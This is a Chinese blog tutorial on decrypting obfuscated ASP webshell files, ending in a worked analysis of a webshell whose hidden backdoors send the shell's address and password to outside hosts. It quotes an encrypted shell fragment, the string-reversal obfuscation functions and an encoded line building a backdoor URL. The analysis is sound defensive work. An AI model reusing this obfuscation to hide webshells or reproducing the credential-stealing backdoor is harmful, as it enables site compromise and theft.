浅析解密ASP文件

                                                       浅析解密ASP文件

      第一次接触asp文件的解密时就被这些乱码深深的吸引了,希望能从中找到解密的良方,于是开始了对asp文件解密的探索之路,经过一段时间的摸索和研究,对于asp文件的加解密有了一定的了解,写这篇文章作为对我这段时间学习的一个总结,同时将我这段时间学习到的经验分享给大家,WEBSHELL Decoder & Encoder也作为这段时间学习的一个成果。
      要弄明白ASP文件的解密就必须首先了解asp文件的运行原理,不明白asp文件运行原理那么是无法进行解密的。现在常见的交互式动态网页技术有CGI, ASP, JSP,PHP及c#等.net语言,而asp语言提供了一个在html中使用脚本文件文件的框架,常见的脚本有Microsoft VBScript和Microsoft Jscript,而我们用的比较多的就是vbscript脚本。asp语言属于解释执行类语言,它是按照顺序一条一条来解释执行,必须是完整正确的明文代码解释器才会执行,这个asp语言的先天不足就决定了它的加密是完全可逆的,有些朋友问我怎样实现asp不可逆的加密,我想这是不可能的,语言的先天性就决定这一点。可能有些朋友会问vbscript.encode不就是不可逆的吗?非也,它同其它的自定义加密函数一样,只是这个解密函数没有包含在asp文件中而是集成到了asp.dll中,只要在asp文件中检测到有LANGUAGE = VBScript.Encode,它就会调用解密函数进行解密,然后逐行执行之,现在如果想做到不被解密只有寄希望于微软重新编写vbscript.encode。      
       相信很多朋友解密asp文件遇到的第一个难关就是vbscript.encode的加密。对于这个微软的这个加密网上已经出来了完全解密的方法,在线的vbscript.encode解密网站都很多,需要注意的是当asp文件中含有“×”这类特殊字符时,程序将退出,这是编码原因引起的错误,只要将这个特殊字符进替换成别的字符继续解密即可。
       进行了vbscript.encode解密后,只是剥下了这个文件第一层壳,后面的基本都是自定义函数加密了。
        asp文件的运行需要一定的脚本环境的支持,由服务器来执行asp文件中的脚本代码,对于microsoft用户来说这个环境为IIS,那么从运行环境角度来进行解密是一个方向,这个解密的特点就是必须架设iis运行asp文件来解密。另外一个方向我们可以从脚本本身这个角度来进行解密,从这个角度解密不需要iis环境的支持,而是直接解密。
       先说在iis环境中进行解密。毫无疑问要先在系统架设好iis环境。因为这个加密都要通过ExeCuTe执行解密函数对加密字符进行解密然后执行,所以如果我们将执行换成输出函数,那么就将得到明文。对于这个解密,我介绍三种方法。
       第一种是我比较喜欢的fso方法,来一段源码
程序代码 程序代码
ShiSan="~殺>ELBAT/<殺 etirW.esnopseR~殺>RT/<  殺 etirW.esnopseR~殺>DT/<    殺 etirW.esnopseR~fi dnE~殺    殺 etirW.esnopseR~殺>殺殺;)1-(og.yrotsih殺殺=kcilCno 回返=eulav nottub=epyt TUPNI<          殺 etirW.esnopseR~eslE~殺    殺 etirW.esnopseR~殺>殺殺;)(esolc.wodniw殺殺=kcilcno 闭关=eulav nottub=epyt TUPN":ExeCuTe(UZSS(ShiSan))

        这段代码ShiSan的值就是加密后的字符,UZSS是解密函数,那么我们可以这样设计,在ExeCuTe(UZSS(ShiSan))后面加如下语句,
程序代码 程序代码
set fs=server.CreateObject("scripting.filesystemobject")
set outpout=fs.CreateTextFile(server.mappath("ok.asp"),True)
outpout.Write(ShiSanFun(ShiSan))

那么将在这个asp文件的同目录下生成包含明文的ok.asp.这个是利用fso方法获取源码。
     第二种方法,原理一样,只是代码不同。在文件头部写入这个过程
程序代码 程序代码
Sub Write2File(strFile, strContent, blnAppend)
        On Error Resume Next
        Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
        If blnAppend Then
                Set objWriteText = objFSO.OpenTextFile(strFile,8,True)
        Else
                Set objWriteText = objFSO.OpenTextFile(strFile,2,True)
        End If
        objWriteText.WriteLine (strContent)
        Set objWriteText = Nothing
        Set objFSO = Nothing
        Select Case Err
                Case 424 Response.Write "路径未找到或者该目录没有写入权限."
                Case Else Response.Write Err
        End Select
End Sub
只要在需要解密的地方加入
程序代码 程序代码
Write2File "M:\加密解密\test\1.txt", ShiSanFun(ShiSan), True

这句话,修改ShiSanFun(ShiSan)为变量值,输出文件的路径需要是绝对路径,那么运行文件明文就将写入1.txt。这个方法的优点就是函数化了,可以多次使用。
    第三种方法,通过Server.HTMLEncode方法来实现直接输出。代码如下:
程序代码 程序代码
Function Outpoutstr(objstring)
Response.Write("<pre>"& Server.HTMLEncode(objstring) & "</pre>")
End Function

然后将ExeCuTe(UZSS(ShiSan))修改为Outpoutstr(ShiSanFun(ShiSan)),之后运行文件,明文就输出在游览器中。

    对于那种整体加密,在最后通过一个execute来执行所有解密的文件来说,那么用上面的方法是最简单有效的。但是如果asp文件中有几十处加密,也就意味着有几十处ExeCuTe需要替换,那么明文文件的还原将是一个巨大的工作。对于这个难题,从脚本本身的角度来解决将变得容易,基于这个想法,我写了WEBSHELL Decoder & Encoder这个软件。众所周知,asp中的vbscript脚本语法和vb语言的语法是相同的,那么意味着asp中的解密函数可以在vb程序中直接调用,从而免去转换解密函数的麻烦。下面以一个动画解密一个具体实例Siliemor Shell.asp文件来说明asp文件的解密。

下面是动画说明:
程序代码 程序代码
    
         解密一个具体实例Siliemor Shell.asp文件来说明asp文件的解密,看一下这个文件,很明显,首先是vbscript.encode,处理一下。
这样我们脱掉了第一层壳,看下这个文件,shellcode.asp已经完全解密,看到有2个解密函数,以为着2中加密。
Function ShiSanFun(ShiSanObjstr)
ShiSanObjstr = Replace(ShiSanObjstr, "╁", """"):For ShiSanI = 1 To Len(ShiSanObjstr):If Mid(ShiSanObjstr, ShiSanI, 1) <> "╋" Then
ShiSanNewStr = Mid(ShiSanObjstr, ShiSanI, 1) & ShiSanNewStr
Else:ShiSanNewStr = vbCrLf & ShiSanNewStr
End If:Next:ShiSanFun = ShiSanNewStr:End Function

Function UZSS(objstr)
objstr = Replace(objstr, "殺", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "~" Then
NewStr = Mid(objstr, i, 1) & NewStr
Else
  NewStr = vbCrLf & NewStr
End If:Next:UZSS = NewStr:End Function
先看第一个加密,十三的加密,我们处理下,参数都默认,无需修改,直接解密,可看到有2处,保存下,已经解密!
现在看第二个函数,形式一样,只是参数和函数名有点变化,设置下。可见这个函数总共有44处加密,保存结果。
比较下是否解密,已经解密,全部是明文。

现在这个shell就完全解密,现在找下后门。看到了xmlhttp就意味着可能是后门了,我们试试看。
很明显,这是在密码输入正确后执行的代码,我们运行下。
看到了吧,http://www.*******.cn/123/test.asp<chuandi><mobile>localhost/shellcode2.asp — 1</mobile></chuandi>
后门已经完全出来了,我们的shell地址和密码全都发送给这个test.asp了。

好,继续往下看

这里是另外一处后门了,我们解密看下,
再次运行文件
这一处的后门地址已经出来了
http://%38%63%63e%2E%63%6f%6d/%61%62/?%75=localhost/shellcode2.asp&p=1
这个地址也可以自己找下
&chr(37)&"38"&chr(37)&"63%63"&chr(101-pos)&"%2E"&chr(37)&"63%6f"&chr(37)&"6d/%"&(61+pos)&"%"&(62+pos)&"/?%75="&Serveru&"&p="&UserPass
chr(37)是“%“,pos为0,没有赋值,那么这句话可以变为
%38%63%63%101%2e%63%6f%6d/%61%62/?%75="&Serveru&"&p="&UserPass
和上面是一样的,再次解密上面的地址。
http://*****8.com/ab/?u=localhost/shellcode2.asp&p=1

这个就是最终的后门地址。

好了,整个解密就到这里了,

再见
www.daokers.com


WEBSHELL Decoder & Encoder截图:
点击放大图片


观看动画(由于分辨率较高建议下载后观看,如果在线观看建议使用TT在新窗口播放动画):

Flash动画



动画下载地址:














    
  





以下说明属本文之一部分:
转载请保持完整并注明:转自 金刀客[www.daokers.com]


[本日志由 金刀客 于 2010-01-01 09:32 PM 编辑]
相关日志:
在线RSS阅读器订阅:
feedsky
抓虾 pageflakes Rojo google reader
my yahoo newsgator bloglines 有道
鲜果 飞豆 哪吒 Netvibes
Netvibes Netvibes

手机订阅:


本站订阅地址:
RSS2:点击复制
Atom:点击复制
        本站所有原创文章均遵循 [创作共用协议]
        本站原创文章可以转载,但须保持完整性并注明出处。
        COPYRIGHT 2008-2010  §  HTTP://WWW.DAOKERS.COM  §    ALL RIGHTS
评论: 9 | 引用: 0 | 查看次数: -
回复回复linzi[2012-04-22 06:10 AM | del]
请问特殊符号×怎么处理,用工具解密不完全,卡住了
回复来自 admin 的评论 admin 于 2012-04-22 11:05 PM 回复
程序缺陷,没有考虑到这些字符
回复回复linzi[2012-04-22 04:27 AM | del]
把工具也分享了吧?
回复回复theend[2010-06-22 12:34 AM | del]
WEBSHELL Decoder & Encoder
在哪里下载呀?
回复来自 admin 的评论 admin 于 2010-06-22 03:08 PM 回复
没发布
回复回复findgood[2010-06-11 11:31 AM | del]
目前正解密ASP文件,用了一下工具,进行了vbscript.encode解密后,剥下第一层壳。由于有中文,一些工具对中文支持不好!只好比较着来用了~~。解密后的代码经分析,使用了反项字符串函数,工具转换为正向。查看代码,有些清晰了。但仔细看,到还有加密。。苦于知识不足。。。得继续充电~。看到这篇文章,了解到解密ASP文件的大体思路是对的,加密算法方面的经验不足,工具方面不太应手~~。教程很好,谢谢!
回复来自 admin 的评论 admin 于 2010-06-11 11:06 PM 回复
欢迎多多交流,你这个解密主要是要看他的解密函数,然后就容易了。把文章的结构分析清楚就很好弄了
回复回复youstar[2010-05-11 10:58 AM | del]
分析思路写的不错~
回复来自 admin 的评论 admin 于 2010-05-11 11:46 AM 回复
^_^
回复回复wei188cn[2010-05-10 09:40 PM | del]
动画无法下载,支持阁下

回复来自 admin 的评论 admin 于 2010-05-11 00:30 AM 回复
恩恩,我发现一个问题了,明天调整

回复来自 admin 的评论 admin 于 2010-05-11 00:31 AM 回复
不对啊,我刚刚测试可以下载的哦
回复回复zglt2008[2010-02-09 12:03 AM | del]
做个教程就好了 就需要这方面的东东
回复来自 admin 的评论 admin 于 2010-02-10 10:32 PM 回复
照葫芦画瓢就差不多哦,做教程没那么多精力啊,如果有交流的意向,可以去刀城玩玩
回复回复wwwbaiducom[2010-01-04 02:01 PM | del]
大哥.工具哪有下的啊
回复来自 admin 的评论 admin 于 2010-02-10 10:32 PM 回复
没有下载的,现在没发布
回复回复w00d[2009-12-31 10:09 PM | del]
动画无法下载,支持阁下
回复来自 金刀客 的评论 金刀客 于 2010-01-01 00:43 AM 回复
呵呵,多谢,好像对中文支持不大好,我明天看看

回复来自 金刀客 的评论 金刀客 于 2010-01-01 09:34 PM 回复
可以下载了,有空帮俺顶顶,:-D
发表评论
昵 称:
密 码: 游客发言不需要密码.
验证码: 验证码提示:单击自动获取验证码
内 容:
最多可输入,当前共,还可输入
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.